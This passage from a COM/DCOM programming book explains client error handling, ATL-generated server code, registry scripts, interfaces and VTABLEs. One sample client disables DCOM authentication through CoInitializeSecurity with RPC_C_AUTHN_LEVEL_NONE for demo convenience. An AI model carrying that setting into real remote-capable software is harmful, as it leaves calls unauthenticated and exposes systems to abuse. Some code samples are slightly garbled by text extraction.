makes it insufficient in a real application. Let's review that code, however, because it is so simple and it shows the exact steps that you must take to create a successful client: void main() { HRESULT hr; // COM error code IBeepDllObj *IBeep; // pointer to interface hr = CoInitialize(0); // initialize COM if (SUCCEEDED(hr)) // check for success { hr = CoCreateInstance( clsid, // COM class id NULL, // outer unknown 46 Chapter 4 • Creating your own COM Clients and Servers CLSCTX_INPROC_SERVER, // server INFO iid, // interface id (void**)&IBeep ); // interface if (SUCCEEDED(hr)) { // call the method hr = IBeep->Beep(800); // release the interface when done // calling its methods hr = IBeep->Release(); } CoUninitialize(); // close COM } The call to CoInitialize and CoCreateInstance initializes COM and gets a pointer to the necessary interface. Then you can call methods on the interface. When you are done calling meth- ods you release the interface and call CoUninitialize to finish with COM. That's all there is to it. That would be all there is to it, that is, if things always worked as planned. There are a number of things that can go wrong when a COM client tries to start a COM server. Some of the more common include: • The client could not start COM • The client could not locate the requested server • The client could locate the requested server but it did not start properly • The client could not find the requested interface • The client could not find the requested function • The client could find the requested function but it failed when called • The client could not clean up properly In order to track these potential problems, you have to check things every step of the way by looking at hr values. The above code does the checking, but it is difficult to tell what has gone wrong because the code is completely silent if an error occurs. The following function remedies that situation: Client Side 47 Additonal Information and Updates: http://www.iftech.com/dcom // This function displays detailed information con- tained in an HRESULT. BOOL ShowStatus(HRESULT hr) { // construct a _com_error using the HRESULT _com_error e(hr); // Show the hr as a decimal number cout << "hr as decimal: " << hr << endl; // Show the 1st 16 bits (SCODE) cout << "SCODE: " << HRESULT_CODE( hr ) << endl; // Show facility code as a decimal number cout << "Facility: " << HRESULT_FACILITY( hr ) << endl; // Show the severity bit cout << "Severity: " << HRESULT_SEVERITY( hr ) << endl; // Use the _com_error object to // format a message string. This is // much easier than using ::FormatMessage cout << "Message string: " << e.ErrorMessage() << endl; return TRUE; } This function dismantles an HRESULT and prints all of its components, including the extremely useful ErrorMessage value. You can call the function at any time with this function call: // display HRESULT on screen ShowStatus( hr ); See Chapter 16 for details on HRESULTS. See the error appendix for details on overcoming COM and DCOM errors. To fully explore the different error modes of a simple COM program, the CD contains an MFC client and a sample server. The client is a simple MFC dialog application designed to let you simulate several possible errors and see the effect they have on the HRESULT. When the client runs it will look like this: 48 Chapter 4 • Creating your own COM Clients and Servers You can see that the radio buttons on the left hand side let you experiment with a lack of a CoInitialize function, a bad class ID and a bad interface ID. If you click the Run button, the area on the right will show the effect of the different errors on the HRESULT returned by different functions in the client. [Note - Some readers initially have trouble compiling or linking this code. For some reason VC++ v6 will sometimes default to a very odd Unicode Release build instead of the expected Win32 Debug build. Use the Active Configuration... option in the Build menu to check the configuration and to set it to Win32 Debug if it is incorrect.] When you explore the client code in this example, you will find that it is a somewhat more robust version of the standard cli- ent code we used above. For example, it sets default security using the CoInitializeSecurity function to introduce you to that function (see Chapter 14 for details), and it also makes use of the Figure 4–1 Dialog from the test client, a simple MFC application that allows you to simulate different COM errors and see the effects. Client Side 49 Additonal Information and Updates: http://www.iftech.com/dcom CoCreateInstanceEx function so that remote servers on other machines can be called (see chapter 14 for details). Let's look at the basic plan of the client. It starts with code generated by the MFC App Wizard, with the request that the App Wizard generate a simple dialog application. The resource file of this application was modified to match the dialog seen above. The bulk of the application is a single function, OnButtonRun, that is activated when the user clicks the Run button: // This method displays detailed information contained in an HRESULT. BOOL CBeepDeluxeDlg::ShowStatus(HRESULT hr) { // construct a _com_error using the HRESULT _com_error e(hr); // The hr as a decimal number m_nHR = hr; // The hr as a hex number m_strHRX.Format( "%x", hr ); m_strHRX = "0x" + m_strHRX; // show the 1st 16 bits (SCODE) m_nCode = HRESULT_CODE( hr ); // Show facility code as a decimal number m_nFac = HRESULT_FACILITY( hr ); // Show the severity bit m_nSev = HRESULT_SEVERITY( hr ); // Use the _com_error object to // format a message string. This is // Much easier then using ::FormatMessage m_strStatus= e.ErrorMessage(); // show bits m_strBinary = HrToBits( hr ); return TRUE; } // This method converts an HRESULT into // a string of 1's and 0's CString CBeepDeluxeDlg::HrToBits( HRESULT hr) { 50 Chapter 4 • Creating your own COM Clients and Servers char temp[32 + 8 + 1 ]; // 32 bits + 8 spaces + NULL unsigned long mask = 0x80000000; // bit mask (msb) int count = 0; // ensure that there is a null terminator at the end memset( temp, 0, sizeof(temp)); // loop all 32 bits for( int i=31; i>=0; i-- ) { // set the character value to 0 or 1 if bit is set temp[count++] = (hr & mask) ? '1' : '0'; // put 1 space every 4 characters if ((i%4) == 0) // mod operator { temp[count++] = ' '; } // shift bitmask 1 right mask = mask >> 1; } return temp; } // Execute an extensive test of the COM client void CBeepDeluxeDlg::OnButtonRun() { CWaitCursor cur; // show hourglass UpdateData( TRUE ); // update variables // status value HRESULT hr = S_OK; // define a test clsid CLSID clsid = BAD_GUID; // remote server info COSERVERINFO cs; // Init structures to zero memset(&cs, 0, sizeof(cs)); Client Side 51 Additonal Information and Updates: http://www.iftech.com/dcom // Allocate the server name in // the COSERVERINFO structure cs.pwszName = m_strServer.AllocSysString(); // structure for CoCreateInstanceEx MULTI_QI qi[1]; memset(qi, 0, sizeof(qi)); // Initialize COM if (m_nRadio != 1) { hr = CoInitialize(0); } // set CLSID if (m_nRadio != 2) { clsid = CLSID_DispatchTypes; } // set IID if (m_nRadio != 3) { // Fill the qi with a valid interface qi[0].pIID = &IID_IDispatchTypes; } else { // send it a bad Interface qi[0].pIID = &BAD_GUID; } // set a low level of security hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_NONE, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL); if (SUCCEEDED(hr)) 52 Chapter 4 • Creating your own COM Clients and Servers { // get the interface pointer hr = CoCreateInstanceEx( clsid, NULL, CLSCTX_SERVER, &cs, 1, qi ); // call method if the interface was created if (SUCCEEDED(hr)) { // extract the interface from the QI structure IDispatchTypes *pI = (IDispatchTypes*)qi[0].pItf; // call method hr = pI->Beep(100); // The HRESULT will be displayed later if there was an error // release the pointer even if there was an error on the method pI->Release(); } } // display HRESULT on screen ShowStatus( hr ); // close COM CoUninitialize(); // Update screen UpdateData( FALSE ); } The main feature of this program is the top part of the OnButtonRun function, which selectively breaks different parts of the application in response to the radio button settings. Then the HRESULT value is dismantled and displayed. Client Side 53 Additonal Information and Updates: http://www.iftech.com/dcom When creating your own MFC clients, you will want to fol- low this same general plan. You may want to place the CoInitial- ize and CoUninitialize functions elsewhere in the application so they are not called constantly (for example, in InitInstance and ExitInstance). You may wish to do the same with the call to CoInitializeSecurity, CoCreateInstanceEx and Release depending on how many calls you are planning to make to an interface. If you are calling a large number of functions in an interface, clearly you will want to call CoCreateInstanceEx and Release only once. 54 Chapter 4 • Creating your own COM Clients and Servers F I V E 5 Understanding ATL-Generated Code The source code for our server DLLs is being generated by ATL. For many people it is perfectly OK to never look at the code ATL created. For others, "not knowing" the details of this code is unacceptable. This chapter gives you a quick tour of the code produced by ATL. The code for the server DLL that is now sitting on your hard drive really resides in three different types of files. • First, there are the traditional C++ source and header files. Initially, all of this code is generated by the ATL wizards. • The Beep method was added by the "Add Method" dia- log, which modified the MIDL interface definition. The MIDL source code is in an IDL file - in this example it's BeepServer.IDL. The MIDL compiler will use this file to create several output files. These files will take care of much of the grunt work of implementing the server. As we add methods to the COM object, we'll be adding defi- nitions the IDL file. • The third group of source files are automatically gener- ated MIDL output files created by the MIDL compiler. These files are source code files, but because they are automatically generated by the MIDL compiler from IDL 56 Chapter 5 • Understanding ATL-Generated Code source code, these files are never modified directly either by wizards or by developers. You might call them "second generation files" - the wizard created an IDL file and the MIDL compiler created source code files from that IDL file. The files created by the MIDL compiler include: 1. BeepServer.RGS - Registration script for the server. 2. BeepServer.h - This file contains definitions for the COM components. 3. BeepServer_i.c - GUID structures for the COM components. 4. Proxy/Stub files - This includes "C" source code, DLL definitions, and makefile (.mk) for the Proxy and Stub. The ATL wizard also creates an application "resource". If you look in the project resources, you'll find it under "REGIS- TRY". This resource contains the registration script defined in BeepServer.RGS. The name of the resource is IDR_BEEPOBJ. We look at all of these different components in the sections below. See also Chapter 15 for additional details on ATL. The Main C++ Module When we ran the ATL COM AppWizard, we chose to create a DLL-based server and we chose not to use MFC. The first selec- tion screen of the wizard determined the overall configuration of the server. The AppWizard created a standard DLL module. This type of standard DLL does not have a WinMain application loop, but it does have a DllMain function used for the initialization of the DLL when it gets loaded: CComModule _Module; BEGIN_OBJECT_MAP(ObjectMap) OBJECT_ENTRY(CLSID_BeepObj, CBeepObj) END_OBJECT_MAP() The Main C++ Module 57 Additonal Information and Updates: http://www.iftech.com/dcom ///////////////////////////////////////////////////// // DLL Entry Point extern "C" BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwRea- son, LPVOID /*lpReserved*/) { if (dwReason == DLL_PROCESS_ATTACH) { _Module.Init(ObjectMap, hInstance); DisableThreadLibraryCalls(hInstance); } else if (dwReason == DLL_PROCESS_DETACH) _Module.Term(); return TRUE; // ok } Really all the DllMain function does is check if a client is attaching to the DLL and then does some initialization. At first glance, there's no obvious indication that this is a COM applica- tion at all. The COM portion of our new server is encapsulated in the ATL class CComModule. CComModule is the ATL server base class. It contains all the COM logic for registering and running servers, as well as starting and maintaining COM objects. CCom- Module is defined in the header file "atlbase.h". This code declares a global CComModule object in the following line: CComModule _Module; This single object contains much of the COM server func- tionality for our application. Its creation and initialization at the start of program execution sets a chain of events in motion. ATL requires that your server always name its global CCom- Module object "_Module". It's possible to override CComModule with your own class, but you aren't allowed to change the name. If we had chosen an executable-based server, or even a DLL with MFC, this code would be significantly different. There would still be a CComModule-based global object, but the entry 58 Chapter 5 • Understanding ATL-Generated Code point of the program would have been WinMain(). Choosing a MFC-based DLL would have created a CWinApp-based main object. Object Maps The CComModule is connected to our COM object (CBeepObj) by the object map seen in the previous section. An object map defines an array of all the COM objects the server controls. The object map is defined in code using the OBJECT_MAP macros. Here is our DLL's object map: BEGIN_OBJECT_MAP(ObjectMap) OBJECT_ENTRY(CLSID_BeepObj, CBeepObj) END_OBJECT_MAP() The OBJECT_ENTRY macro associates the CLSID of the object with a C++ class. It's common for a server to contain more than one COM object - in that case there will be an OBJECT_ENTRY for each one. Export File Our In-Process DLL, like most DLLs, has an export file. The export file will be used by the client to connect to the exported functions in our DLL. These definitions are in the file BeepS- erver.def: ; BeepServer.def : Declares the module parameters. LIBRARY "BeepServer.DLL" EXPORTS DllCanUnloadNow @1 PRIVATE DllGetClassObject @2 PRIVATE DllRegisterServer @3 PRIVATE DllUnregisterServer@4 PRIVATE Export File 59 Additonal Information and Updates: http://www.iftech.com/dcom It is important to note what is not exported: there are no custom methods here. There is no export for the "Beep" method. These are the only exports you should see in a COM DLL. Looking into the BeepServer.CPP file, we see that the imple- mentation of these four functions is handled by the COM appli- cation class. Here's the code for DllRegisterServer: // DllRegisterServer - Adds entries to the system reg- istry STDAPI DllRegisterServer(void) { // registers object, typelib and all interfaces in typelib return _Module.RegisterServer(TRUE); } In this case, the DLL just calls ATL's CComModule::Regis- terServer() method. CComModule implements the server registra- tion in a way that is compatible with In-Process, Local, and Remote COM servers. The other three exported DLL functions are equally spartan. The actual implementation is hidden in the ATL templates. Most of the code described above is DLL specific code. You will only get this configuration if you choose to create a DLL- based server. None of the code in the main module is COM spe- cific. The main module is entirely devoted to the infrastructure required to deliver COM objects in a DLL, and this code will be significantly different depending on the type of server. The actual code inside the server is much more uniform. The imple- mentation of a coclass and interface is identical regardless of the type of server (DLL, EXE, server) you create. You should be able to take a coclass from a DLL server and implement it in an EXE- based server with few changes. 60 Chapter 5 • Understanding ATL-Generated Code The COM Object - "CBeepObj" A COM server has to implement at least one COM object. We are using a single object named "CBeepObj". One of the most inter- esting things about this object is that the code was entirely gen- erated by ATL wizards. It is quite remarkable how compact this object definition turns out to be. The class definition is found in BeepObj.h: // BeepObj.h : Declaration of the CBeepObj #include "resource.h" // main symbols ////////////////////////////////////////////////////// // CBeepObj class ATL_NO_VTABLE CBeepObj : public CComObjectRootEx, public CComCoClass<CBEEPOBJ, &CLSID_BeepObj, public IBeepObj { public: CBeepObj() { } DECLARE_REGISTRY_RESOURCEID(IDR_BEEPOBJ) BEGIN_COM_MAP(CBeepObj) COM_INTERFACE_ENTRY(IBeepObj) END_COM_MAP() // IBeepObj public: STDMETHOD(Beep)(/*[in]*/ long lDuration); }; This simple header file defines a tremendous amount of functionality, as described in the following sections. Object Inheritance 61 Additonal Information and Updates: http://www.iftech.com/dcom Object Inheritance Probably the first thing you noticed about this code is the multi- ple inheritance. Our COM object has three base classes. These base classes are template classes which implement the standard COM functionality for our object. Each of these classes defines a specific COM behavior. CComObjectRootEx<> (and CComObjectRoot<>) are the root ATL object class. These classes handle all the reference counting and management of the COM class. This includes the implementation of the three required IUnknown interface func- tions: QueryInterface(), AddRef(), and Release(). When our CBeepObj object is created by the server, this base class will keep track of it throughout its lifetime. The template for CComObjectRootEx specifies the argument CComSingleThreadModel. Single threading means that the COM object won't have to handle access by multiple threads. During the setup of this object we specified "Apartment threading". Apartment threading uses a windows message loop to synchro- nize access to the COM object. This approach is the easiest because it eliminates many threading issues. CComCoClass<> defines the Class factories that create ATL COM objects. Class factories are special COM classes that are used to create COM objects. The CComCoClass uses a default type of class factory and allows aggregation. IBeepObj is the interface this server implements. An inter- face is defined as a C++ struct (recall that structs in C++ act like a class but can have only public members). If you dig into the automatically generated file BeepServer.h, you'll find that MIDL has created a definition of our interface. interface DECLSPEC_UUID( "36ECA947-5DC5-11D1-BD6F-204C4F4F5020") IBeepObj : public IUnknown { public: virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE Beep( 62 Chapter 5 • Understanding ATL-Generated Code /* [in] */ long lDuration) = 0; }; The DECLSPEC_UUID macro lets the compiler associate a GUID with the interface name. Note that our single method "Beep" is defined as a pure virtual function. When the CBeepObj is defined, it will have to provide an implementation of that function. One peculiar thing about the Class definition of CBeepObj is the ATL_NO_VTABLE attribute. This macro is an optimization that allows for faster object initialization. The Class Definition Our object uses a default constructor. You can add special initial- ization here if required, but there are some limitations. One con- sequence of using the ATL_NO_VTABLE, is that you aren't allowed to call any virtual methods in the constructor. A better place for complex initialization would be in the FinalConstruct method (which is inherited from CComObjectRootEx.) If you want to use FinalConstruct, override ATL's default by declaring it in the class definition. It will be called automatically by the ATL framework. (FinalConstruct is often used to create aggregated objects.) The DECLARE_REGISTRY_RESOURCEID() macro is used to register the COM object in the system registry. The parameter to this macro, IDR_BEEPOBJ, points to a resource in the project. This is a special kind of resource that loads the MIDL generated ".rgs" file. BEGIN_COM_MAP is a macro that defines an array of COM interfaces that the CComObjectRoot<> class will manage. This class has one interface, IBeepObj. IBeepObj is our custom inter- face. It's common for COM objects implement more than one interface. All supported interfaces would show up here, as well as in the class inheritance at the top of the class definition. The Method 63 Additonal Information and Updates: http://www.iftech.com/dcom The Method At last, we get to the methods. As an application programmer, our main interest will be in this section of the code. Our single Beep() method is defined in the line: STDMETHOD(Beep)(/*[in]*/ LONG duration); STDMETHOD is an OLE macro that translates to the following: typedef LONG HRESULT; #define STDMETHODCALLTYPE __stdcall #define STDMETHOD(method) virtual HRESULT STD- METHODCALLTYPE method We could have written the definition in a more familliar C++ style as follows: virtual long _stdcall Beep(long lDuration); We'll find the code for this method in the BeepObj.cpp module. Because this COM object has only one method, the COM object's source code is pretty sparse. All the COM logic of the object was defined in the ATL template classes. We're left with just the actual application code. When you are writing real applications, most of your attention will be focused on this mod- ule. STDMETHODIMP CBeepObj::Beep(long lDuration) { ::Beep( 660, lDuration ); return S_OK; } Again, the function definition translates into a standard func- tion call. long _stdcall CBeepObj::Beep( long lDuration ) 64 Chapter 5 • Understanding ATL-Generated Code The API beep routine takes two parameters: the frequency of the beep and its duration in milliseconds. If you're working with Windows 95, these two parameters are ignored and you get the default beep. The scope operator "::" is important, but it's easily forgotten. If you neglect it, the method will be calling itself. The _stdcall tag tells the compiler that the object uses stan- dard windows calling conventions. By default C and C++ use the __cdecl calling convention. These directives tell the compiler which order it will use for placing parameters on, and removing them from, the stack. Win32 COM uses the _stdcall attribute. Other operating systems may not use the same calling conven- tions. Notice that our Beep() method returns a status of S_OK. This doesn't mean that the caller will always get a successful return status - remember that calls to COM methods aren't like standard C++ function calls. There is an entire COM layer between the calling program (client) and the COM server. It's entirely possible that the CBeepObj::Beep() method would return S_OK, but the connection would be lost in the middle of a COM call. Although the function would return S_OK, the calling client would get some sort of RPC error indicating the failure. Even the function result has to be sent through COM back to the client! In this example the COM server is running as an In-Process server. Being a DLL, the linkage is so tight that there's very little chance of transmission error. In future examples, where our COM server is running on a remote computer, things will be very different. Network errors are all-too-common, and you need to design your applications to handle them. Server Registration The COM subsystem uses the Windows registry to locate and start all COM objects. Each COM server is responsible for self- registering, or writing it's entries into the registry. Thankfully, this task has been mostly automated by ATL, MIDL and the ATL wiz- ard. One of the files created by MIDL is a registry script. This Registry Scripts 65 Additonal Information and Updates: http://www.iftech.com/dcom script contains the definitions required for the successful opera- tion of our server. Here is the generated script: HKCR { BeepObj.BeepObj.1 = s 'BeepObj Class' { CLSID = s '{861BFE30-56B9-11D1-BD65- 204C4F4F5020}' } BeepObj.BeepObj = s 'BeepObj Class' { CurVer = s 'BeepObj.BeepObj.1' } NoRemove CLSID { ForceRemove { 861BFE30-56B9-11D1-BD65-204C4F4F5020} = s 'BeepObj Class' { ProgID = s 'BeepObj.BeepObj.1' VersionIndependentProgID = s 'BeepObj.BeepObj' ForceRemove 'Programmable' InprocServer32 = s '%MODULE%' { val ThreadingModel = s 'Apartment' } } } } Registry Scripts You may be familiar with .REG scripts for the registry. RGS scripts are similar but use a completely different syntax and are only used by ATL for object registration. The syntax allows for simple variable substitution, as in the %MODLUE% variable. 66 Chapter 5 • Understanding ATL-Generated Code These scripts are invoked by the ATL Registry Component (Reg- istrar). This was defined with a macro in the object header: DECLARE_REGISTRY_RESOURCEID(IDR_BEEPOBJ) Basically, this script is used to load registry settings when the server calls CComModule::RegisterServer(), and to remove them when CComModule::UnregisterServer() is called. All COM registry keys are located in HKEY_CLASSES_ROOT. Here are the registry keys being set: • BeepObj.BeepObj.1 - Current version of the class • BeepObj.BeepObj - Identifies the COM object by name • CLSID - The unique class identifier for the Object. This key has several sub-keys. 1. ProgID - The programmatic identifier. 2. VersionIndependentProgID - Associates a ProgID with a CLSID. 3. InprocServer32 - defines the server type (as a DLL). This will be different, depending on whether this is a In-Process, Local, or Remote server. 4. ThreadingModel - The COM threading model of the object. 5. TypeLib - The GUID of the type library of the server. Summary This chapter has provided a quick tour of most of the ATL code related to the Beep server. Do you now know everthing about ATL? No. But you now have a number of landmarks that will help you in navigating the code that the ATL wizard generates. See Chapter 15 for additional details. S I X 6 Understanding the Client and Server In the previous chapters we built simple client and server appli- cations. The emphasis on was on getting a sample application up-and-running as quickly as possible. That's a great place to start. After all, building working components is ultimately what you want to get out of this book. This chapter deals with some of the behind-the-scenes detail of what is going on. We are going to make short work of these subjects. That isn't because they aren't important, but because this book focuses on the practical implementation of COM. It's my experience that the theoretical parts of COM tend to obscure its simplicity. Once you are able to create useful clients and serv- ers, the details of COM's implementation become more useful. A certain amount of the theory of COM is necessary to prop- erly use it. I've attempted to distill it into a few short but pithy segments. Principles of COM Let's start this discussion with five design principles that every- one who uses COM should understand: 68 Chapter 6 • Understanding the Client and Server • COM is about interfaces • COM is language-independent. • COM is built around the concept of transparency • Interfaces are contracts between the client and server. • COM is a "standard", not a compiler or language. COM is About Interfaces As we've said before, all COM interaction is through interfaces. It's a point worth repeating. You won't find any shortcuts or end- runs around this basic principle. The rationale behind interfaces is that it is critical to isolate a component from its user (client). Total isolation dramatically limits the amount of coupling between the client and server. In many ways COM was mis- named - it should have been called "i++". COM is Language-Independent Sometimes we programmers are so wrapped up in a particular language that we begin to see every programming problem in terms of it. I've written this book with a strong slant towards C++, and more especially Microsoft's Visual C++. There's a rea- son for this: you have to implement COM in some language, and C++ is a very good choice. You can, however, write perfectly good COM programs in Java or C, or even Visual Basic. This means COM methods must be usable from many different languages. This includes lan- guages like Visual Basic and Java that don't have pointers. The concept of an interface is easily expressed as a pointer, but it can be implemented without them. The most common expression of this we're likely to see is the use of the IDispatch interface in Visual Basic. One of the essential parts of the COM standard is that it specifies how clients and servers communicate. In Visual C++, every COM method is called with "Pascal" calling conventions. While this isn't an absolute requirement of COM, it is a generally observed convention. Principles of COM 69 Additonal Information and Updates: http://www.iftech.com/dcom COM is Built Around the Concept of Transparency In many cases, the COM server and client are running as differ- ent processes. Your program normally doesn't have access to address space on the other process. There are ways to get around this limitation, but not if the server is running on a com- puter elsewhere on the network. You can't even assume the computer you're connecting to is running Windows. A client can't directly access pointers, devices, or anything else on a remote computer running a DCOM server. COM is therefore built around the concept of local/remote transparency. What transparency means is that the client should need to know nothing about how the server is implemented. This enormously simplifies the task of writing client programs. With COM, both an In-Process server and a remote server behave exactly the same as far as the client is concerned. Of course, there are real differences between an In-Process (DLL) client and a server running on a remote computer, but they aren't important to the client. Much of the design of COM is aimed at hiding local/remote differences. Interfaces, for example, provide a mask that hides a great deal of behind-the-scenes implementation. COM defines the communication protocols and provides standard ways of connecting to other computers. Interfaces are Contracts Between the Client and Server A contract is an agreement between two or more parties to do (or not do) some definite thing. A good contract allows both par- ties to work independently without concern about the rules changing. Even so, contracts are not perfect and they often have to be flexible. For example, you have to check that the server supports all the interfaces you are calling every time you connect. Once you've found an interface, the COM contract guarantees that the interface you want to use hasn't changed its methods or parame- ters. If an interface is available it should always behave in a pre- dictable way. COM guarantees this simply by declaring that 70 Chapter 6 • Understanding the Client and Server Interfaces never change. If this seems like a dangerous method of enforcement, bear the following in mind: COM IS A STANDARD, NOT A COMPILER OR LANGUAGE. Actually, COM is a model. By model, we mean an 'ideal' standard for comparison. Unfortunately, the word model has a number of other meanings. A standard is a set of rules every- body agrees on. After all, even a computer language is actually just a special type of a standard. Usually language compilers pro- vide you with nice features such as type and syntax checking. COM is a more loosely defined standard. It defines how clients and servers can communicate. If everybody follows the standard, communication will succeed. The C++ compiler won't do any COM syntax and type checking for you. You have to know and follow the rules. Luck- ily, there is a tool that checks COM rules. It is an 'interface' com- piler called MIDL. We've mentioned MIDL before several times; it is a compiler-like tool that generates COM-compliant code. You don't have to use MIDL. I'm not using MIDL in the simple client example seen in Chapter 2, mostly because it hides many impor- tant aspects of COM. When we get to more sophisticated appli- cations (as we will in subsequent chapters), we'll use MIDL whenever possible. However, MIDL cannot guarantee that an interface has the right functions. Only programmers can guaran- tee that by following and enforcing conventions among them- selves. Software Changes. Interfaces Don't This brings up the obvious question: What happens when you need to enhance or change an interface? There are two answers to this question depending on where you are in the software development cycle. We talk about an interface being 'published'. This doesn't mean it has been submitted to some academic COM journal, rather that it has been made known to other users. This may mean a software release, or some written documentation, or even a conversation with fellow developers. In any case, once Activation 71 Additonal Information and Updates: http://www.iftech.com/dcom people are using your interface, you cannot change it. Obvi- ously, interfaces are going to need enhancement. This is accom- plished by creating a completely new interface, and giving it a new name. One example of this process can be seen in the inter- face IClassFactory. When Microsoft needed to add licensing to this interface, they created a new one called IClassFactoryEx (Ex for extended). The extended interface is quite similar, and may even be implemented by the same coclass. We can rest assured that the original IClassFactory interface hasn't changed and will continue to function normally in older code. The new interface is something completely separate with a new name and a new GUID. If you're in the midst of developing an interface and it hasn't been published, feel free to change it. The COM police aren't going to knock down your doors. It is incumbent on you to ensure that both the client and server know about the changes. If you change an interface on the server and don't update your cli- ent, there will obviously be consequences. Once the interface has been published, however, you need to leave it alone or you're going to have angry users. Activation The first time you successfully execute a COM client and server, you realize there's a lot going on to create components and start servers. When we ran the client application in the previous sec- tion there were several pieces of hand waving, and these pieces require some explanation if you want completely understand what is happening. Let's look at what happened "behind the scenes" so that it is clear that COM is doing nothing magic. When the client application first called the server, a rather large collection of software components made the connection possible. The following figure shows you the components: 72 Chapter 6 • Understanding the Client and Server There are several important components in this picture: • The client and server applications. • The COM library. • The Service Control Manager. • The Windows Registry. The COM library is loaded into both the client and server modules as a DLL. The COM library contains all the "Co" API functions, like CoInitialize(). Currently the COM library is imple- mented in the OLE32.DLL module. When the client calls CoCreateInstance(), it is calling a method in the COM library. CoCreateInstance does a number of things, but the first is to locate the requested components of the server in the Windows Registry. All the functionality of locating and starting COM components is handled by a COM "manager" application called the Service Control Manager (SCM). (in Win- dows NT the SCM is part of the RPCSS service.) The SCM retrieves information about the server from the Window registry. The registry holds all of the GUIDs for all of the COM servers and interfaces supported by a given machine. The registry also maps those GUIDs to specific programs and Figure 6–1 Components involved in COM interactions Client Program COM Library COM Server 1 COM Library COM Server 2 COM Library Registry Service Control Manager (SCM) Calls CoCreateInstance() Start Start More About Interfaces 73 Additonal Information and Updates: http://www.iftech.com/dcom Services on the machine so that the COM servers can start auto- matically when they are called. The Registry has entries for the different COM servers, their classes and interfaces. From this registry information, the SCM can start the correct server for any object requested by the client application. The SCM works with the COM library to create COM objects and return pointers to interfaces in objects. For an in-process server, starting the server is rather simple. It involves locating and loading a DLL that contains the requested coclass. The SCM gets the path to the DLL from the registry, looking it up by the the GUID. For out-of-process serv- ers, the SCM will actually start a new process for the server. For servers on remote computers, the SCM will send requests to the remote computer's SCM. Once the server is started, and the client has a pointer to the interface, the SCM drops out of the picture. The SCM is only responsible for the activation of the server. Once everything is started, the client and server handle their own interaction. Like most networking, just getting communications started is a major task. Once communication is established, things tend to run quite well by themselves. More About Interfaces The end product of CoCreateInstance is a pointer to an interface. For the C++ programmer, an interface pointer looks exactly like a pointer to a C++ class. Do not be deceived: a COM interface is not a C++ class. An interface is a binary object with a rigidly defined internal structure. Although it looks a lot like a class, it lives by a different set of rules. This point seems esoteric, but it is very important. Because of the special condition imposed on coclasses, you must follow these rules when you create a COM interface : • All Interfaces must implement methods called QueryInter- face(), AddRef(), and Release(). In that exact order. This fact is hidden by high level tools like ATL, but it has been 74 Chapter 6 • Understanding the Client and Server happening behind the scenes because of the activities of MIDL. These are the "Big Three" methods in all interfaces. • Other methods follow, starting in the 4th position. • Interfaces never change once they are published. • Interfaces are strongly typed. There can be no ambiguity in parameters. • Interfaces are named I*. Here is how we define a simple interface with a single method. This definition was written in straight C++. interface IBeep: public IUnknown { public: HRESULT QueryInterface(REFIID, void**); ULONG AddRef(); ULONG Release(); HRESULT Beep(); }; All COM interfaces are based on IUnknown. IUnknown always has three methods, QueryInterface, AddRef, and Release. These methods are pure virtual, which means they have no code associated with them. We also sometimes call this a pure abstract class. These three methods MUST be defined in our implementa- tion of IBeep or the compiler will complain. IUnknown is defined in several of the standard headers. The definition is as follows: #define interface struct interface IUnknown { public: virtual HRESULT QueryInterface(REFIID, void**)=0; virtual ULONG AddRef()=0; virtual ULONG Release()=0; }; More About Interfaces 75 Additonal Information and Updates: http://www.iftech.com/dcom You may not have seen the keyword 'interface' used before in C++. You'll be seeing a lot of it in COM programming. Here's how we defined interface: #define interface struct Unlike in the "C" language, in C++ a struct is the same as a class, except it has only public methods. Our definition of IUn- known would work exactly the same if we had written "class IUnknown" instead of using interface. In Visual C++, we use "interface" as a convention to remind us that COM has special rules. The definition of "interface" is compiler dependent, so this might not be true for other C++ implementations. The layout of the Interface is extremely important. All COM interfaces are defined in such a way that they provide QueryInterface, AddRef, and Release, and in this exact order. When the compiler pro- cesses this code, it will implement the interface using a C++ VTABLE structure. VTABLES - Virtual Function Tables A VTABLE, or virtual function table, is a pointer to an array of function pointers. Therefore, in all COM objects the first element points to QueryInterface, the second pointer points to AddRef, and the third points to Release. User defined methods can fol- low. A VTABLE looks like this: Figure 6–2 VTABLE structure 0 1 2 VTABLE QueryInterface() {...} Addref() {...} Release() {...} Functions IBeep-> Interface 76 Chapter 6 • Understanding the Client and Server When you call a method through a VTABLE, you're adding a level of indirection. The interface pointer (IBeep->) points to the entry point in the VTABLE. The VTABLE points to the actual function. Calling functions through a VTABLE is very efficient. Another way to look at a VTABLE is as an array of pointers. In this array, the first 3 elements are always the same. The func- tion at element 0 is a pointer to a method you can use to dis- cover other interfaces. This function is known as QueryInterface. The 2nd element is the address of a function that increments the reference count of the interface. The 3rd element, points to a function that decrements the reference count. The first 3 ele- ments are all part of IUnknown, and every interface implements them. After the first 3 elements of the array, we have pointers to interface-specific functions. In our example program, the 4th ele- ment points to the function Beep. All of the subsequent elements of the array point to custom methods of the interface. These methods are not implemented by the interface. It simply points to the address of the function in the coclass. The COM coclass is responsible for actually implementing the body of the functions. Let's look at what happens when you call a method, Query- Interface for example. The program locates QueryInterface by looking in the first entry in the VTABLE. The program knows it's the first one because of the interface definition. This entry points to the actual location in memory of the method called Query- Interface(). After this, it follows standard COM calling conven- tions to pass parameters and execute the method. Why is the order of these functions important? This gets back to the issue of language independence. You can use an interface even if you don't know its definition. However, you can only call the three standard methods QueryInterface, AddRef, and Release. This is possible because ALL COM interfaces have the same VTABLE footprint as the IUnknown interface. To understand why this generic structure is useful, let's look at the methods in IUnknown. QueryInterface, AddRef, and Release. In our simple example client, we only see one of these functions - Release. Remember there's a lot going on behind the scenes in a COM program. We treat CoCreateInstance as if it More About Interfaces 77 Additonal Information and Updates: http://www.iftech.com/dcom were a black box: Somehow it creates a pointer to a COM inter- face which our application can use. CoCreateInstance actually performs four distinct steps: • Get a pointer to an object that can create the interface - the Class Factory. • Create the interface with QueryInterface(). • Increment the reference count of the interface with AddRef() • Destroy the class factory object with Release(); Maybe you're now starting to see how we use the three methods of IUnknown. They are being called all the time -- behind the scenes. Let's take a closer look at a class factory. The Class Factory A class factory is an object that knows how to create one or more COM objects. You call QueryInterface() on the class factory object to get a specific interface. You can write COM programs for years and never see a class factory. As far as the COM appli- cations programmer is concerned, the class factory is just another part of the plumbing. If you're using ATL to generate your COM servers, the class factory object is hidden. ATL creates a default class factory that works for most COM objects. When you look into the actual code of CoCreateInstance, you'll find 